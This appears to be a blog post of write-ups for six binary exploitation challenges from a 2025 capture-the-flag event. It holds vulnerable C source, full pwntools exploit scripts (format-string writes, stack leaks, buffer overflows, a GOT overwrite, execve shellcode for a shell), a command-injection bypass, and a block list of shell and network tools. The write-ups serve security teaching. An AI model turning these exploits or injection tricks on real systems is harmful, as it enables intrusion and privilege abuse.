Post

CUcybersecCTF 2025 Binary Exploitation

Writeups for CUcybersecCTF 2025 binary exploitation challenges

CUcybersecCTF 2025 Binary Exploitation

1. Alpha-7 Format Override


Overview

  • Category: Format string bug
  • Difficulty: Easy (2/10)
  • Challenge Files: format1.c, format1
  • Source Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>

int security_code = 0x21646f63; // "cod!" in little endian

int main() {
    char transmission[1024];
    char classified_data[64];
    
    printf("=== ORBITAL STATION ALPHA-7 SECURE TERMINAL ===\n");
    printf("Security protocols are active. Authorization required.\n");
    printf("Only personnel with proper clearance codes can access classified files.\n");
    printf("Enter your transmission: ");
    fflush(stdout);
    
    scanf("%1024s", transmission);
    
    printf("Transmission received: ");
    printf(transmission);
    printf("\n");
    fflush(stdout);
    
    if (security_code == 0x64657461) { // "ated" in little endian (creates "codeated" -> "authenticated")
        printf("AUTHENTICATION SUCCESSFUL - Welcome, authorized personnel!\n");
        printf("Accessing classified orbital research data...\n\n");
        
        // Read classified data
        FILE *classified_file = fopen("flag.txt", "r");
        if (classified_file != NULL) {
            fgets(classified_data, 64, classified_file);
            printf("CLASSIFIED DATA: %s", classified_data);
            fclose(classified_file);
        } else {
            printf("ERROR: Classified data file not found\n");
        }
        fflush(stdout);
    }
    else {
        printf("AUTHENTICATION FAILED\n");
        printf("Current security code: 0x%x\n", security_code);
        printf("Access denied. Please verify your credentials.\n");
        fflush(stdout);
    }
    
    return 0;
}

Exploitation Steps

Analysis

As always, start by examining the binary’s security properties using checksec.

1
2
3
4
5
6
7
8
9
$ checksec
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Good news is the PIE is disable, so the binary loads at a fixed base address, making things a lot easier. By reviewing the source code, reveals a classic format string vulnerability at line 18, where user input is passed directly to printf without a format specifier. Here’s also a global variable security_code initialized to 0x21646f63. At line 22, an if statement checks if security_code equals to 0x64657461, if true we get the flag. Our goal is to overwrite security_code with 0x64657461 via the format string bug.

Find the offset

Spam input like %p %p %p %p ... and count the outputs until you spot printable ASCII strings resembling your input. This offset tells you where your payload starts controlling memory.

Find the Target Address

There are many ways to find the address of security_code. You can use gdb, nm or a pwntools function to find it. If you not farmiliar with pwntools, try using nm or gdb.

This tool will also make your exploit much more readable.

1
addr = elf.sym["security_code"]

But for beginners I recommend using this.

1
nm format1 | grep "security_code"

Craft the Payload

For beginners, manually crafting the payload a few times before using fmtstr_payload() help you to understand this technique.

This is manual way to craft the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def manual_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    #val  = 0x64657461

    # 4 bytes -- xxxxxxxx    index                                  (0x00 written)
    payload  = b'%93c----'   # 14   93  = 0x61 - 0x00 - 4           (0x61 written)
    payload += b'%21$hhn-'   # 15   write 0x61 on index 21          (0x62 written)
    payload += b'%14c----'   # 16   14  = 0x74 - 0x62 - 4           (0x74 written) 
    payload += b'%22$hhn-'   # 17   write 0x74 on index 22          (0x75 written)
    payload += b'%236c---'   # 18   236 = 0x64 + 0x100 - 0x75 - 3   (0x164 written)(overflow)
    payload += b'%24$hhn-'   # 19   write 0x64 on index 24          (0x165 written)(overflow)
    payload += b'%23$hhn-'   # 20   write 0x65 on index 23          (done)
    payload += p64(dest)     # 21
    payload += p64(dest + 1) # 22
    payload += p64(dest + 2) # 23
    payload += p64(dest + 3) # 24

    return payload

This is the faster and better way to build the payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def auto_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    val  = 0x64657461

    write = {
            dest : val
            }
    
    # adjust the write size if it is not working (byte, short, int)
    payload = fmtstr_payload(14, write, write_size="byte")

    return payload

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./format1_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.130.180.230", 5675)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



def manual_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    #val  = 0x64657461

    # 4 bytes -- xxxxxxxx    index                                (0x00 written)
    payload  = b'%93c----'   # 14   93  = 0x61 - 0x00 - 4         (0x61 written)
    payload += b'%21$hhn-'   # 15   write 0x61 on index 21        (0x62 written)
    payload += b'%14c----'   # 16   14  = 0x74 - 0x62 - 4         (0x74 written) 
    payload += b'%22$hhn-'   # 17   write 0x74 on index 22        (0x75 written)
    payload += b'%236c---'   # 18   236 = 0x64 + 0x100 - 0x75 - 3 (0x164 written)(overflow)
    payload += b'%24$hhn-'   # 19   write 0x64 on index 24        (0x165 written)(overflow)
    payload += b'%23$hhn-'   # 20   write 0x65 on index 23        (done)
    payload += p64(dest)     # 21
    payload += p64(dest + 1) # 22
    payload += p64(dest + 2) # 23
    payload += p64(dest + 3) # 24

    return payload



def auto_payload():
    # address of security code
    # or you can use 'nm format1 | grep "security_code"' command to get the address
    #dest = 0x404050
    dest = elf.sym["security_code"]
    val  = 0x64657461

    write = {
            dest : val
            }
    
    # adjust the write size if it is not working (byte, short, int)
    payload = fmtstr_payload(14, write, write_size="byte")

    return payload



def main():
    r = conn()

    #payload = auto_payload()
    payload = manual_payload()

    # send the payload
    r.sendline(payload)

    # large payload, gonna take some time
    # adjust sleep time if needed
    log.progress("Sending...")
    sleep(1)

    # discard all the garbage
    r.recvuntil(b'CLASSIFIED DATA: ')

    flag = r.recvuntil(b'}').decode("ascii")

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()

Extra

If you want to show some disrespect to the challenge author, skip the security_code entirely and target the Global Offset Table. Since RELRO is partial, overwriting the got entry is doable.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./format1_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.130.180.230", 5675)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    dest = elf.got["fflush"]
    val  = 0x4012e5 

    write = {
            dest : val
            }
    
    offset = 14

    payload = fmtstr_payload(offset, write, write_size="byte")

    r.sendline(payload)

    log.progress("Sending...")
    sleep(1)

    r.recvuntil(b'CLASSIFIED DATA: ')

    flag = r.recvuntil(b'}').decode("ascii")

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()



2. Deep Sea Exploitation


Overview

  • Category: Bash
  • Difficulty: Trivial (1/10)
  • Challenge Files: deepsea.c, deepsea
  • Source Code:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    
    //...
    void probe_section(char* section) {
      char command[512];
      char path[256];
        
      // Create the path
      snprintf(path, sizeof(path), "./research/%s", section);
        
      printf("[PROBING]: %s\n", section);
        
      // Basic input filtering - block common command injection attempts and tell them what we blocked
      char *blocked_commands[] = {
          "cat", "head", "tail", "more", "less", "grep", "awk", "cut", "sort", "uniq", "tr", "wc",
          "find", "locate", "which", "whereis", "file", "strings", "hexdump", "xxd", "od", "base64",
          "python", "perl", "php", "ruby", "node", "sh", "bash", "zsh", "dash", "csh", "tcsh", "ksh", "fish",
          "nc", "netcat", "wget", "curl", "ftp", "ssh", "scp", "rsync", "cp", "mv", "rm", "mkdir", "rmdir",
          "touch", "chmod", "chown", "chgrp", "ln", "dd", "tar", "zip", "unzip", "gzip", "gunzip",
          "bzip2", "bunzip2", "xz", "unxz", "7z", "rar", "unrar", "ps", "top", "htop", "kill", "killall",
          "pkill", "nohup", "jobs", "bg", "fg", "disown", "screen", "tmux", "sudo", "su", "passwd",
          "useradd", "userdel", "usermod", "groupadd", "groupdel", "id", "whoami", "who", "w", "last",
          "lastlog", "history", "env", "export", "set", "unset", "alias", "unalias", "type", "command",
          "builtin", "enable", "disable", "exec", "eval", "source", "read", "echo", "printf", "test",
          "expr", "bc", "dc", "calc", "vim", "vi", "nano", "emacs", "pico", "joe", "mc", "man", "info",
          "help", "apropos", "whatis"
      };
        
      int num_blocked = sizeof(blocked_commands) / sizeof(blocked_commands[0]);
        
      for (int i = 0; i < num_blocked; i++) {
          if (strstr(section, blocked_commands[i]) != NULL) {
              printf("SECURITY ALERT: Command '%s' is blocked by security filters\n", blocked_commands[i]);
              printf("Attempted command injection detected and prevented\n");
              return;
          }
      }
        
      sprintf(command, "ls -l %s 2>/dev/null", path);
      system(command);
    }
    //...
    

Exploitation Steps

Analysis

This challenge is not about exploiting the binary. The goal is to locate the flag file and find a way to read its contents.

Locate the flag file

After some exploration, the flag file is easily found at /app/flag.txt.

Find a way to read the flag file

The cat command is blocked, but its reverse counterpart tac is not. We can read the file with tac and then reverse the output again to restore the original order.

Solution

1
probe && tac /app/flag.txt | tac



3. Neural Pattern Analysis


Overview

  • Category: Format string bug
  • Difficulty: Trivial (1/10)
  • Challenge Files: neural.c, neural
  • Source Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>

#define BUFSIZE 64
#define FLAGSIZE 64

void readflag(char* buf, size_t len) {
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }
  fgets(buf,len,f); // size bound read
}

void vuln(){
   char flag[BUFSIZE];
   char story[128];
   readflag(flag, FLAGSIZE);
   printf("Enter neural pattern for analysis >> ");
   scanf("%127s", story);
   printf("Pattern decoded as - \n");
   printf(story);
   printf("\n");
}

int main(int argc, char **argv){
  setvbuf(stdout, NULL, _IONBF, 0);
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  return 0;
}

Exploitation Steps

Analysis

Another format string bug challenge. But this time the flag is already in the memory. Lets checksec it first:

1
2
3
4
5
6
7
8
9
$checksec
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Holy moly, the binary basically has ZERO meaningful protection. You could:

  • Simpily leak the flag directly from memory
  • Leak the libc address and call system(“/bin/sh”)
  • Write your own shellcode and return to it

This isn’t just a CTF challenge, this is literally a hacker’s wet dream.

Here I gonna show you the intended solution.

Leak Everything on the Stack

We use a script to brute-force print stack values using %p format specifiers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def print_stack(n):
    context.log_level = "ERROR"
    leak = ""
    for i in range(n//10):
        r = conn()
        payload = b''
        for j in range(i*10+1,i*10+11):
            payload += f"%{j}$p|".encode("ascii")
        payload += b'*'
        r.sendlineafter(b'>>', payload)
        r.recvuntil(b'Pattern decoded as - \n')
        leak += r.recvuntil(b'*', drop=True).decode("ascii")
        r.clean()
        r.close()
    context.log_level = "INFO"
    leak = leak.split("|")
    for i in range(len(leak)-1):
        print(f"{i+1:>3}: {leak[i]}")

The output of print_stack(50) is shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
  1: 0xff8de1d0
  2: 0xffffffff
  3: 0xf7ced8dc
  4: 0x70243125
  5: 0x2432257c
  6: 0x33257c70
  7: 0x257c7024
  8: 0x7c702434
  9: 0x70243525
 10: 0x2436257c
 11: 0x31257c70
 12: 0x7c702436
 13: 0x24373125
 14: 0x31257c70
 15: 0x7c702438
 16: 0x24393125
 17: 0x32257c70
 18: 0x7c702430
 19: 0xf7f6002a
 20: 0xff96dc90
 21: 0xf7f09c44
 22: 0xf7ec76b0
 23: 0x1
 24: 0x1
 25: (nil)
 26: 0xf7ec76b0
 27: 0x1
 28: 0xf7f08fec
 29: (nil)
 30: 0x8048300
 31: 0x804c028
 32: 0x50
 33: 0x8048488
 34: 0x8048300
 35: 0x804c00c
 36: 0x67616c66
 37: 0x6572547b
 38: 0x7d65
 39: 0xf7e07256
 40: 0xf7d0952c
 41: 0xf7e9ae0c
 42: (nil)
 43: 0x804bf04
 44: 0xffa4ac18
 45: 0xf7f02fb0
 46: (nil)
 47: 0xe2a11e00
 48: 0x3e8
 49: 0xf7e9ae0c
 50: (nil)

There are some funny looking numbers on 36, 37 and 38. These are pieces of the flag of this challenge.

Make some modification to the script

As a lazy person I prefer using script to convert the flag from ascii looking numbers to actual string. So I made some modification to the original code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def find_flag(n):
    context.log_level = "ERROR"
    leak = ""
    for i in range(n//10):
        r = conn()
        payload = b''
        for j in range(i*10+1,i*10+11):
            payload += f"%{j}$p|".encode("ascii")
        payload += b'*'
        r.sendlineafter(b'>>', payload)
        r.recvuntil(b'Pattern decoded as - \n')
        leak += r.recvuntil(b'*', drop=True).decode("ascii")
        r.clean()
        r.close()
    context.log_level = "INFO"

    leak = leak.split("|")
    flag = ''
    for i in range(len(leak)-1):
        try:
            l = p32(int(leak[i],16)).decode("ascii")
        except:
            l = ''
        flag += l
    try:
        flag = flag[flag.index("flag") : flag.index("}")+1]
    except:
        log.failure("No Flag, n need to be larger, or change the flag header")
        return ""

    return flag

This function just simpily returns the flag.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python3

from pwn import *
import time

elf = ELF("./neural_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.130.180.230", 6833)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def find_flag(n):
    context.log_level = "ERROR"
    leak = ""
    for i in range(n//10):
        r = conn()
        payload = b''
        for j in range(i*10+1,i*10+11):
            payload += f"%{j}$p|".encode("ascii")
        payload += b'*'
        r.sendlineafter(b'>>', payload)
        r.recvuntil(b'Pattern decoded as - \n')
        leak += r.recvuntil(b'*', drop=True).decode("ascii")
        r.clean()
        r.close()
    context.log_level = "INFO"

    leak = leak.split("|")
    flag = ''
    for i in range(len(leak)-1):
        try:
            l = p32(int(leak[i],16)).decode("ascii")
        except:
            l = ''
        flag += l
    try:
        flag = flag[flag.index("flag") : flag.index("}")+1]
    except:
        log.failure("No Flag, n need to be larger, or change the flag header")
        return ""


    return flag


def main():
    print_stack(50)
    flag = find_flag(50)

    print()
    print(flag)
    print()


if __name__ == "__main__":
    main()



4. Nexus Corp Override


Overview

  • Category: Stack buffer overflow
  • Difficulty: Trivial (1/10)
  • Challenge Files: overflow1.c, overflow1
  • Source Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void unlock_credentials()
{
    FILE *fp = fopen("flag.txt", "r");
    if (!fp) {
        perror("Could not open flag.txt");
        exit(1);
    }
    char flag[100];
    fgets(flag, sizeof(flag), fp);
    fclose(fp);
    printf("CREDENTIALS UNLOCKED: %s\n", flag);
    fflush(stdout);
}

void authenticate_user()
{
    char employee_id[24];
    int clearance_level = 0;
    
    printf("=== NEXUS CORP SECURITY TERMINAL ===\n");
fflush(stdout);
    printf("Enter your employee ID:\n");
fflush(stdout);
    gets(employee_id);
    
    printf("Welcome, %s!\n", employee_id);
    
    if (clearance_level == 0x1337) {
        printf("HIGH CLEARANCE DETECTED. Unlocking admin credentials...\n");
        unlock_credentials();
    } else {
        printf("INSUFFICIENT CLEARANCE. Access restricted to public areas.\n");
    }
}

int main()
{
    authenticate_user();
    return 0;
}

Exploitation Steps

Analysis

Not much to say, the easiest type of binary exploitation challenge. The solution is fill up the buffer employee_id with garbage and overwrite variable clearance_level with 0x1337.

Done

That is it. Just see the solution.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3

from pwn import *

elf = ELF("./overflow1_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def find_offset():
    r = process([elf.path])
    gdb.attach(r)
    p = cyclic(1000)
    r.sendline(p)
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("34.66.146.178", 9653)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    offset = 40 * b'i'
    win = elf.sym["unlock_credentials"]

    payload = offset + p32(win)

    r.sendline(payload)
    r.recvuntil(b'CREDENTIALS UNLOCKED: ')

    flag = r.recvuntil(b'\n')
    print()
    print(flag)
    print()
    

if __name__ == "__main__":
    main()



5. Orbital Station Override


Overview

  • Category: Bash
  • Difficulty: Trivial (1/10)
  • Challenge Files: mine.c, mine_challenge
  • Source Code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#include <stdio.h>
#include <string.h>
#include <stdbool.h>

void launch_sequence() {
    printf("Access granted! Launching escape pod with classified data!\n");
    fflush(stdout); // Ensure output is flushed
    FILE *flag_file = fopen("flag.txt", "r");
    if (flag_file != NULL) {
        char flag_content[100];
        while (fgets(flag_content, sizeof(flag_content), flag_file) != NULL) {
            printf("%s", flag_content);
            fflush(stdout); // Ensure output is flushed
        }
        fclose(flag_file);
        printf("\n");
        fflush(stdout); // Ensure output is flushed
    } else {
        printf("flag.txt file not found\n");
        fflush(stdout); // Ensure output is flushed
    }
}

void memory_scan(void *addr, int len) {
    int i;
    unsigned char *pc = (unsigned char*)addr;

    for (i = 0; i < len; i++) {
        if ((i % 16) == 0) {
            if (i != 0)
                printf("  ");
            for (int j = i - 16; j < i; j++) {
                if (j >= 0 && j < len) {
                    printf("%c", (pc[j] >= 32 && pc[j] <= 126) ? pc[j] : '.');
                }
            }
            printf("\n");
            printf("%04x ", i);
        }
        printf(" %02x", pc[i]);
    }

    // Print the final ASCII representation for the last line
    int remainder = i % 16;
    if (remainder != 0) {
        for (int j = 0; j < 16 - remainder; j++) {
            printf("   ");
        }
        printf("  ");
        for (int j = i - remainder; j < i; j++) {
            printf("%c", (pc[j] >= 32 && pc[j] <= 126) ? pc[j] : '.');
        }
    }
    printf("\n");
}

int main() {
    struct {
        char databank[64];
        int guardian;
        bool clearance;
    } terminal;
    char buffer[256];

    terminal.guardian = 0x4B434148; //BIRD in little endian
    terminal.clearance = false; //set this bool to false

    printf("Welcome to the orbital research station security terminal. Access to classified data requires proper authorization!\n\n");
    fflush(stdout); // Ensure output is flushed

    // Zero out the buffer
    memset(terminal.databank, 0, sizeof(terminal.databank));

    printf("System memory scan before input:");
    fflush(stdout); // Ensure output is flushed
    memory_scan(&terminal, sizeof(terminal));

    printf("\n");
    fflush(stdout); // Ensure output is flushed

    while(1)
    {
        printf("Enter your authorization code: ");
        fflush(stdout); // Ensure output is flushed
        extern char *gets(char *); // Explicit declaration of gets to allow compilation
        gets(terminal.databank);

        printf("\nSystem memory scan after input:");
        fflush(stdout); // Ensure output is flushed
        memory_scan(&terminal, sizeof(terminal));

        if (terminal.guardian != 0x4B434148) { // "BIRD" in little-endian
            printf("Security breach detected! Emergency lockdown initiated!\n\n");
            fflush(stdout); // Ensure output is flushed
            return 0;
        } else {
            printf("Security guardian intact.\n");
            fflush(stdout); // Ensure output is flushed
            if (terminal.clearance) {
                launch_sequence();
            } else {
                printf("Authorization insufficient for classified data access...\n\n");
                fflush(stdout); // Ensure output is flushed
            }
        }
    }
}

Exploitation Steps

Analysis

Same challenge as Nexus Corp Override, but with some noises. The solution is fill up the databank buffer, overwrite variable guardian with 0x4B434148, and overwrite clearance with 0xff.

Done

That is it. Just see the solution.

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3

from pwn import *

elf = ELF("./mine_challenge_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""


def conn():
    if args.REMOTE:
        r = remote("34.122.158.24", 6962)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    guardian = 0x4B434148

    r.clean()

    payload = b'i'*64 + p32(guardian) + b'\xff'

    r.sendline(payload)
    r.recvuntil(b'Access granted! Launching escape pod with classified data!\n')
    flag = r.recvuntil(b'\n', drop=True).decode("ascii")
    r.clean()
    r.close()

    print()
    print(flag)
    print()
    

if __name__ == "__main__":
    main()



6. Mission Control Malfunction


This challenge deserves its own blog post, I will write it ASAP.

Overview

  • Category: Shellcode, Stack buffer overflow
  • Difficulty: Extreme (6/10)
  • Challenge Files: handoff.c, handoff

Analysis and Steps

This challenge have no difference with handoff from picoCTF 2025 in terms of techniques and binary structure.

Solution 1 (My Solution)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3

from pwn import *

elf = ELF("./handoff_patched")

context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b vuln
b *0x4013d0
b *0x4013ac
c
"""

def conn():
    if args.REMOTE:
        r = remote("34.66.146.178", 7587)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r


def main():
    r = conn()

    # a readable writable address for "/bin/sh\0"
    binsh = 0x404048

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode (I tried my best to make it only 40 bytes long ;) )
    #     read(stdin, binsh, 8);
    #     execve(binsh, NULL, NULL);
    shellcode = asm(f"""
                    xor rdi, rdi;
                    mov rsi, {binsh};
                    mov rdx, 8;
                    xor rax, rax;
                    syscall;
                    mov rdi, rsi;
                    xor rsi, rsi;
                    xor rdx, rdx;
                    mov rax, 59;
                    syscall;
                    """)

    # Send a message to a recipient
    r.sendlineafter(b'Exit mission control', b'2')

    # negative index bug, unpredictable things will happen if the index is negative
    # fgets will buffer overflow its own stack
    r.sendlineafter(b'send a transmission to?', b'-1')

    # write shellcode on stack and execute 
    # rax is pointing at the beginning of shellcode 
    # (the shellcode must be less than or equal to 40 bytes)
    payload = shellcode + p64(jmp_rax)

    # send the payload
    r.sendlineafter(b'like to send them?', payload)

    # SYS_read is invoked. write /bin/sh on 0x404048
    r.sendline(b'/bin/sh\0')

    # SYS_execve is invoked and enjoy the shell privilege
    r.interactive()
    
    

if __name__ == "__main__":
    main()

Solution 2 (Common Solution)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3

from pwn import *

elf = ELF("./handoff_patched")

context.binary = elf
context.arch = "amd64"
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
b *0x4013e8
c
"""

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    elif args.GDB:
        r = gdb.debug([elf.path], gdbscript=dbginit)
    else:
        r = process([elf.path])
    return r



nop = lambda n : b'\x90' * n

def main():
    r = conn()

    # gadget from God
    jmp_rax = 0x4011ae

    # shellcode catching net
    shellcode_catch = nop(20) 

    # shellcode jump to execve
    shellcode_jmp    = asm("""
                           sub rax, 0x2d4 - 8;
                           jmp rax;
                           """)

    # shellcode execve
    shellcode_execve = asm("""
                           mov rdi, rax;
                           add rdi, 50;
                           xor rsi, rsi;
                           xor rdx, rdx;
                           mov rax, 59
                           syscall;
                           """).ljust(50, b'\x90') + b'/bin/sh\0'


    #print(shellcode_jmp)
    #exit()

    # payload
    # because 8th byte will be replaced with 0, we need to shift the shellcode a little bit 
    payload_jmp = (nop(3) + shellcode_jmp).ljust(20, b'\x90') + p64(jmp_rax)



    # Name doesn't really matter a lot, fill up with nop just in case 
    r.recvuntil(b'Exit mission control')
    r.sendline(b'1')

    r.recvuntil(b"What's the new crew member's callsign: ")
    r.sendline(shellcode_catch)



    # Write shellcode on stack
    r.recvuntil(b'Exit mission control')
    r.sendline(b'2')

    r.recvuntil(b'Which crew member would you like to send a transmission to?')
    r.sendline(b'0')

    r.recvuntil(b'What transmission would you like to send them?')
    r.sendline(shellcode_execve)



    # jump to beginning of feedback and execute
    r.recvuntil(b'Exit mission control')
    r.sendline(b'3')
    r.recvuntil(b'Thank you for using mission control! If you could take a second to write a quick mission report, we would really appreciate it: ')
    r.sendline(payload_jmp)


    # enjoy the shell
    r.interactive()
    
    

if __name__ == "__main__":
    main()



This post is licensed under CC BY 4.0 by the author.